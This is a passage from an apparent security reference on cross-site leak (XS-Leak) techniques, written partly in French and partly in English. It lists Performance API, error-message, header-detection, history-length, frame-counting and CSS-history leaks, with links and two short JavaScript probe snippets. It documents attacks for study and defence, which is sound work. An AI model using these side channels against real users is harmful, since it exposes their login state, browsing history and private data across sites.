Un attaquant peut détecter si une requête a entraîné un corps de réponse HTTP vide car les **pages vides ne créent pas d'entrée de performance dans certains navigateurs**.

### **XSS-Auditor Leak**

* **Inclusion Methods**: Frames
* **Detectable Difference**: Contenu de la page
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** En utilisant l'Auditeur XSS dans les Assertions de Sécurité, les attaquants peuvent détecter des éléments spécifiques de la page web en observant les modifications dans les réponses lorsque des charges utiles conçues déclenchent le mécanisme de filtrage de l'auditeur.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)

Dans les Assertions de Sécurité (SA), l'Auditeur XSS, initialement destiné à prévenir les attaques de Cross-Site Scripting (XSS), peut paradoxalement être exploité pour fuir des informations sensibles. Bien que cette fonctionnalité intégrée ait été supprimée de Google Chrome (GC), elle est toujours présente dans SA. En 2013, Braun et Heiderich ont démontré que l'Auditeur XSS pouvait bloquer involontairement des scripts légitimes, entraînant de faux positifs. S'appuyant sur cela, des chercheurs ont développé des techniques pour extraire des informations et détecter un contenu spécifique sur des pages d'origine croisée, un concept connu sous le nom de XS-Leaks, initialement rapporté par Terada et élaboré par Heyes dans un article de blog. Bien que ces techniques soient spécifiques à l'Auditeur XSS dans GC, il a été découvert que dans SA, les pages bloquées par l'Auditeur XSS ne génèrent pas d'entrées dans l'API de Performance, révélant une méthode par laquelle des informations sensibles pourraient encore être divulguées.

### X-Frame Leak

* **Inclusion Methods**: Frames
* **Detectable Difference**: En-tête
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
* **Summary:** Une ressource avec un en-tête X-Frame-Options ne crée pas d'entrée de timing de ressource.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)

Si une page n'est **pas autorisée** à être **rendu** dans un **iframe**, elle ne **crée pas d'entrée de performance**. En conséquence, un attaquant peut détecter l'en-tête de réponse **`X-Frame-Options`**.\
Il en va de même si vous utilisez une **balise embed**.

### Download Detection

* **Inclusion Methods**: Frames
* **Detectable Difference**: En-tête
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** Les téléchargements ne créent pas d'entrées de timing de ressource dans l'API de Performance.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)

De manière similaire à la fuite XS décrite, une **ressource qui est téléchargée** en raison de l'en-tête ContentDisposition ne **crée pas non plus d'entrée de performance**. Cette technique fonctionne dans tous les navigateurs majeurs.

### Redirect Start Leak

* **Inclusion Methods**: Frames
* **Detectable Difference**: Redirection
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** L'entrée de timing de ressource révèle le temps de début d'une redirection.
* **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)

Nous avons trouvé un cas de fuite XS qui abuse du comportement de certains navigateurs qui enregistrent trop d'informations pour les requêtes d'origine croisée. La norme définit un sous-ensemble d'attributs qui doivent être définis à zéro pour les ressources d'origine croisée. Cependant, dans **SA**, il est possible de détecter si l'utilisateur est **redirigé** par la page cible, en interrogeant l'**API de Performance** et en vérifiant les **données de timing redirectStart**.

### Duration Redirect Leak

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Redirection
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** La durée des entrées de timing est négative lorsqu'une redirection se produit.
* **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)

Dans GC, la **durée** pour les requêtes qui entraînent une **redirection** est **négative** et peut donc être **distinguée** des requêtes qui ne résultent pas en une redirection.

### CORP Leak

* **Inclusion Methods**: Frames
* **Detectable Difference**: En-tête
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** Les ressources protégées par CORP ne créent pas d'entrées de timing de ressource.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)

Dans certains cas, l'entrée **nextHopProtocol** peut être utilisée comme technique de fuite. Dans GC, lorsque l'en-tête **CORP** est défini, le nextHopProtocol sera **vide**. Notez que SA ne créera pas d'entrée de performance du tout pour les ressources activées par CORP.

### Service Worker

* **Inclusion Methods**: Frames
* **Detectable Difference**: Utilisation de l'API
* **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
* **Summary:** Détecter si un service worker est enregistré pour une origine spécifique.
* **Code Example**:

Les service workers sont des contextes de script déclenchés par des événements qui s'exécutent à une origine. Ils s'exécutent en arrière-plan d'une page web et peuvent intercepter, modifier et **mettre en cache des ressources** pour créer des applications web hors ligne.\
Si une **ressource mise en cache** par un **service worker** est accédée via **iframe**, la ressource sera **chargée à partir du cache du service worker**.\
Pour détecter si la ressource a été **chargée à partir du cache du service worker**, l'**API de Performance** peut être utilisée.\
Cela pourrait également être fait avec une attaque de timing (voir le document pour plus d'infos).

### Cache

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Timing
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **Summary:** Il est possible de vérifier si une ressource a été stockée dans le cache.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))

En utilisant l'[API de Performance](xs-search.md#performance-api), il est possible de vérifier si une ressource est mise en cache.

### Network Duration

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Contenu de la page
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **Summary:** Il est possible de récupérer la durée réseau d'une requête à partir de l'API `performance`.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)

## Technique des Messages d'Erreur

### Media Error

* **Inclusion Methods**: Éléments HTML (Vidéo, Audio)
* **Detectable Difference**: Code d'état
* **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
* **Summary:** Dans Firefox, il est possible de fuir avec précision le code d'état d'une requête d'origine croisée.
* **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
```
The `MediaError` interface's message property uniquely identifies resources that load successfully with a distinct string. An attacker can exploit this feature by observing the message content, thereby deducing the response status of a cross-origin resource.

### CORS Error

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Summary:** Dans les assertions de sécurité (SA), les messages d'erreur CORS exposent involontairement l'URL complète des requêtes redirigées.
* **Code Example**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

This technique enables an attacker to **extract the destination of a cross-origin site's redirect** by exploiting how Webkit-based browsers handle CORS requests. Specifically, when a **CORS-enabled request** is sent to a target site that issues a redirect based on user state and the browser subsequently denies the request, the **full URL of the redirect's target** is disclosed within the error message. This vulnerability not only reveals the fact of the redirect but also exposes the redirect's endpoint and any **sensitive query parameters** it may contain.

### SRI Error

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Summary:** Dans les assertions de sécurité (SA), les messages d'erreur CORS exposent involontairement l'URL complète des requêtes redirigées.
* **Code Example**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

An attacker can exploit **verbose error messages** to deduce the size of cross-origin responses. This is possible due to the mechanism of Subresource Integrity (SRI), which uses the integrity attribute to validate that resources fetched, often from CDNs, haven't been tampered with. For SRI to work on cross-origin resources, these must be **CORS-enabled**; otherwise, they're not subject to integrity checks. In Security Assertions (SA), much like the CORS error XS-Leak, an error message can be captured after a fetch request with an integrity attribute fails. Attackers can deliberately **trigger this error** by assigning a **bogus hash value** to the integrity attribute of any request. In SA, the resulting error message inadvertently reveals the content length of the requested resource. This information leakage allows an attacker to discern variations in response size, paving the way for sophisticated XS-Leak attacks.

### CSP Violation/Detection

* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Status Code
* **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **Summary:** En autorisant uniquement le site Web de la victime dans le CSP, si nous y accédons et qu'il essaie de rediriger vers un domaine différent, le CSP déclenchera une erreur détectable.
* **Code Example**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

A XS-Leak can use the CSP to detect if a cross-origin site was redirected to a different origin. This leak can detect the redirect, but additionally, the domain of the redirect target leaks. The basic idea of this attack is to **allow the target domain on the attacker site**. Once a request is issued to the target domain, it **redirects** to a cross-origin domain. **CSP blocks** the access to it and creates a **violation report used as a leak technique**. Depending on the browser, **this report may leak the target location of the redirect**.\
Modern browsers won't indicate the URL it was redirected to, but you can still detect that a cross-origin redirect was triggered.

### Cache

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Summary:** Effacer le fichier du cache. Ouvre la page cible et vérifie si le fichier est présent dans le cache.
* **Code Example:**

Browsers might use one shared cache for all websites. Regardless of their origin, it is possible to deduct whether a target page has **requested a specific file**.

If a page loads an image only if the user is logged in, you can **invalidate** the **resource** (so it's no longer cached if it was, see more info links), **perform a request** that could load that resource and try to load the resource **with a bad request** (e.g. using an overlong referer header). If the resource load **didn't trigger any error**, it's because it was **cached**.

### CSP Directive

* **Inclusion Methods**: Frames
* **Detectable Difference**: Header
* **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Summary:** Les directives d'en-tête CSP peuvent être testées à l'aide de l'attribut iframe CSP, révélant des détails sur la politique.
* **Code Example**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

A novel feature in Google Chrome (GC) allows web pages to **propose a Content Security Policy (CSP)** by setting an attribute on an iframe element, with policy directives transmitted along with the HTTP request. Normally, the embedded content must **authorize this via an HTTP header**, or an **error page is displayed**. However, if the iframe is already governed by a CSP and the newly proposed policy isn't more restrictive, the page will load normally. This mechanism opens a pathway for an attacker to **detect specific CSP directives** of a cross-origin page by identifying the error page. Although this vulnerability was marked as fixed, our findings reveal a **new leak technique** capable of detecting the error page, suggesting that the underlying problem was never fully addressed.

### **CORP**

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Header
* **More info**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **Summary:** Les ressources sécurisées par la politique de ressources cross-origin (CORP) généreront une erreur lorsqu'elles sont récupérées depuis une origine non autorisée.
* **Code Example**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

The CORP header is a relatively new web platform security feature that when set b**locks no-cors cross-origin requests to the given resource**. The presence of the header can be detected, because a resource protected with CORP will **throw an error when fetched**.

### CORB

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Headers
* **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **Summary**: CORB peut permettre aux attaquants de détecter lorsque l'**en-tête `nosniff` est présent** dans la requête.
* **Code Example**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

Check the link for more information about the attack.

### CORS error on Origin Reflection misconfiguration <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Headers
* **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **Summary**: Si l'en-tête Origin est reflété dans l'en-tête `Access-Control-Allow-Origin`, il est possible de vérifier si une ressource est déjà dans le cache.
* **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

In case the **Origin header** is being **reflected** in the header `Access-Control-Allow-Origin` an attacker can abuse this behaviour to try to **fetch** the **resource** in **CORS** mode. If an **error** **isn't** triggered, it means that it was **correctly retrieved form the web**, if an error is **triggered**, it's because it was **accessed from the cache** (the error appears because the cache saves a response with a CORS header allowing the original domain and not the attackers domain)**.**\
Note that if the origin isn't reflected but a wildcard is used (`Access-Control-Allow-Origin: *`) this won't work.

## Readable Attributes Technique

### Fetch Redirect

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Status Code
* **More info**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Summary:** GC et SA permettent de vérifier le type de réponse (opaque-redirect) après que la redirection soit terminée.
* **Code Example**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

Submitting a request using the Fetch API with `redirect: "manual"` and other params, it's possible to read the `response.type` attribute and if it's equals to `opaqueredirect` then the response was a redirect.

### COOP

* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Summary:** Les pages protégées par la politique d'ouverture cross-origin (COOP) empêchent l'accès aux interactions cross-origin.
* **Code Example**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

An attacker is capable of deducing the presence of the Cross-Origin Opener Policy (COOP) header in a cross-origin HTTP response. COOP is utilized by web applications to hinder external sites from obtaining arbitrary window references. The visibility of this header can be discerned by attempting to access the **`contentWindow` reference**. In scenarios where COOP is applied conditionally, the **`opener` property** becomes a telltale indicator: it's **undefined** when COOP is active, and **defined** in its absence.

### URL Max Length - Server Side

* **Inclusion Methods**: Fetch API, HTML Elements
* **Detectable Difference**: Status Code / Content
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **Summary:** Détecter les différences dans les réponses parce que la longueur de la réponse de redirection pourrait être trop grande pour que le serveur réponde avec une erreur et qu'une alerte soit générée.
* **Code Example**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

If a server-side redirect uses **user input inside the redirection** and **extra data**. It's possible to detect this behaviour because usually **servers** has a **limit request length**. If the **user data** is that **length - 1**, because the **redirect** is using **that data** and **adding** something **extra**, it will trigger an **error detectable via Error Events**.

If you can somehow set cookies to a user, you can also perform this attack by **setting enough cookies** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) so with the **response increased size** of the **correct response** an **error** is triggered. In this case, remember that is you trigger this request from a same site, `<script>` will automatically send the cookies (so you can check for errors).\
An example of the **cookie bomb + XS-Search** can be found in the Intended solution of this writeup: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

`SameSite=None` or to be in the same context is usually needed for this type of attack.

### URL Max Length - Client Side

* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Status Code / Content
* **More info**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **Summary:** Détecter les différences dans les réponses parce que la longueur de la réponse de redirection pourrait être trop grande pour qu'une différence puisse être remarquée.
* **Code Example**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)

According to [Chromium documentation](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length), Chrome's maximum URL length is 2MB.

> In general, the _web platform_ does not have limits on the length of URLs (although 2^31 is a common limit). _Chrome_ limits URLs to a maximum length of **2MB** for practical reasons and to avoid causing denial-of-service problems in inter-process communication.

Therefore if the **redirect URL responded is larger in one of the cases**, it's possible to make it redirect with a **URL larger than 2MB** to hit the **length limit**. When this happens, Chrome shows an **`about:blank#blocked`** page.

The **noticeable difference**, is that if the **redirect** was **completed**, `window.origin` throws an **error** because a cross origin cannot access that info. However, if the **limit** was \*\*\*\* hit and the loaded page was **`about:blank#blocked`** the window's **`origin`** remains that of the **parent**, which is an **accessible information.**

All the extra info needed to reach the **2MB** can be added via a **hash** in the initial URL so it will be **used in the redirect**.

{% content-ref url="xs-search/url-max-length-client-side.md" %}
[url-max-length-client-side.md](xs-search/url-max-length-client-side.md)
{% endcontent-ref %}

### Max Redirects

* **Inclusion Methods**: Fetch API, Frames
* **Detectable Difference**: Status Code
* **More info**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76)
* **Summary:** Utiliser la limite de redirection du navigateur pour déterminer la survenue de redirections d'URL.
* **Code Example**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)

If the **max** number of **redirects** to follow of a browser is **20**, an attacker could try to load his page with **19 redirects** and finally **send the victim** to the tested page. If an **error** is triggered, then the page was trying to **redirect the victim**.

### History Length

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Redirects
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
* **Summary:** Le code JavaScript manipule l'historique du navigateur et peut être accessible par la propriété length.
* **Code Example**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)

The **History API** allows JavaScript code to manipulate the browser history, which **saves the pages visited by a user**. An attacker can use the length property as an inclusion method: to detect JavaScript and HTML navigation.\
**Checking `history.length`**, making a user **navigate** to a page, **change** it **back** to the same-origin and **checking** the new value of **`history.length`**.

### History Length with same URL

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: If URL is the same as the guessed one
* **Summary:** Il est possible de deviner si l'emplacement d'un cadre/pop-up est dans une URL spécifique en abusant de la longueur de l'historique.
* **Code Example**: Below

An attacker could use JavaScript code to **manipulate the frame/pop-up location to a guessed one** and **immediately** **change it to `about:blank`**. If the history length increased it means the URL was correct and it had time to **increase because the URL isn't reloaded if it's the same**. If it didn't increased it means it **tried to load the guessed URL** but because we **immediately after** loaded **`about:blank`**, the **history length did never increase** when loading the guessed url.
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
```
### Frame Counting

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **Summary:** Évaluer la quantité d'éléments iframe en inspectant la propriété `window.length`.
* **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)

Compter le **nombre de frames dans un web** ouvert via `iframe` ou `window.open` peut aider à identifier le **statut de l'utilisateur sur cette page**.\
De plus, si la page a toujours le même nombre de frames, vérifier **en continu** le nombre de frames peut aider à identifier un **modèle** qui pourrait divulguer des informations.

Un exemple de cette technique est que dans chrome, un **PDF** peut être **détecté** avec **le comptage de frames** car un `embed` est utilisé en interne. Il existe des [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) qui permettent un certain contrôle sur le contenu tel que `zoom`, `view`, `page`, `toolbar` où cette technique pourrait être intéressante.

### HTMLElements

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **Summary:** Lire la valeur divulguée pour distinguer entre 2 états possibles
* **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)

La fuite d'informations à travers des éléments HTML est une préoccupation en matière de sécurité web, en particulier lorsque des fichiers multimédias dynamiques sont générés en fonction des informations de l'utilisateur, ou lorsque des filigranes sont ajoutés, modifiant la taille du média. Cela peut être exploité par des attaquants pour différencier entre des états possibles en analysant les informations exposées par certains éléments HTML.

### Information Exposed by HTML Elements

* **HTMLMediaElement**: Cet élément révèle la `duration` et les temps `buffered` du média, qui peuvent être accessibles via son API. [En savoir plus sur HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
* **HTMLVideoElement**: Il expose `videoHeight` et `videoWidth`. Dans certains navigateurs, des propriétés supplémentaires comme `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, et `webkitDecodedFrameCount` sont disponibles, offrant des informations plus détaillées sur le contenu multimédia. [En savoir plus sur HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
* **getVideoPlaybackQuality()**: Cette fonction fournit des détails sur la qualité de lecture vidéo, y compris `totalVideoFrames`, qui peut indiquer la quantité de données vidéo traitées. [En savoir plus sur getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
* **HTMLImageElement**: Cet élément divulgue la `height` et la `width` d'une image. Cependant, si une image est invalide, ces propriétés retourneront 0, et la fonction `image.decode()` sera rejetée, indiquant l'échec de chargement de l'image correctement. [En savoir plus sur HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)

### CSS Property

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **Summary:** Identifier les variations dans le style du site web qui correspondent à l'état ou au statut de l'utilisateur.
* **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)

Les applications web peuvent changer le **style du site web en fonction du statut de l'utilisateur**. Des fichiers CSS cross-origin peuvent être intégrés sur la page de l'attaquant avec l'**élément HTML link**, et les **règles** seront **appliquées** à la page de l'attaquant. Si une page change dynamiquement ces règles, un attaquant peut **détecter** ces **différences** en fonction de l'état de l'utilisateur.\
En tant que technique de fuite, l'attaquant peut utiliser la méthode `window.getComputedStyle` pour **lire les propriétés CSS** d'un élément HTML spécifique. En conséquence, un attaquant peut lire des propriétés CSS arbitraires si l'élément affecté et le nom de la propriété sont connus.

### CSS History

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **Summary:** Détecter si le style `:visited` est appliqué à une URL indiquant qu'elle a déjà été visitée
* **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)

{% hint style="info" %}
Selon [**ceci**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), cela ne fonctionne pas dans Chrome sans tête.
{% endhint %}

Le sélecteur CSS `:visited` est utilisé pour styliser les URL différemment si elles ont été précédemment visitées par l'utilisateur. Dans le passé, la méthode `getComputedStyle()` pouvait être utilisée pour identifier ces différences de style. Cependant, les navigateurs modernes ont mis en œuvre des mesures de sécurité pour empêcher cette méthode de révéler l'état d'un lien. Ces mesures incluent le retour systématique du style calculé comme si le lien avait été visité et la restriction des styles pouvant être appliqués avec le sélecteur `:visited`.

Malgré ces restrictions, il est possible de discerner l'état visité d'un lien de manière indirecte. Une technique consiste à tromper l'utilisateur pour qu'il interagisse avec une zone affectée par le CSS, en utilisant spécifiquement la propriété `mix-blend-mode`. Cette propriété permet le mélange d'éléments avec leur arrière-plan, révélant potentiellement l'état visité en fonction de l'interaction de l'utilisateur.

De plus, la détection peut être réalisée sans interaction de l'utilisateur en exploitant les temps de rendu des liens. Étant donné que les navigateurs peuvent rendre les liens visités et non visités différemment, cela peut introduire une différence de temps mesurable dans le rendu. Un proof of concept (PoC) a été mentionné dans un rapport de bogue Chromium, démontrant cette technique en utilisant plusieurs liens pour amplifier la différence de timing, rendant ainsi l'état visité détectable par analyse de timing.

Pour plus de détails sur ces propriétés et méthodes, visitez leurs pages de documentation :

* `:visited`: [Documentation MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
* `getComputedStyle()`: [Documentation MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
* `mix-blend-mode`: [Documentation MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)

### ContentDocument X-Frame Leak

* **Inclusion Methods**: Frames
* **Detectable Difference**: Headers
* **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **Summary:** Dans Google Chrome, une page d'erreur dédiée est affichée lorsqu'une page est bloquée d'être intégrée sur un site cross-origin en raison des restrictions X-Frame-Options.
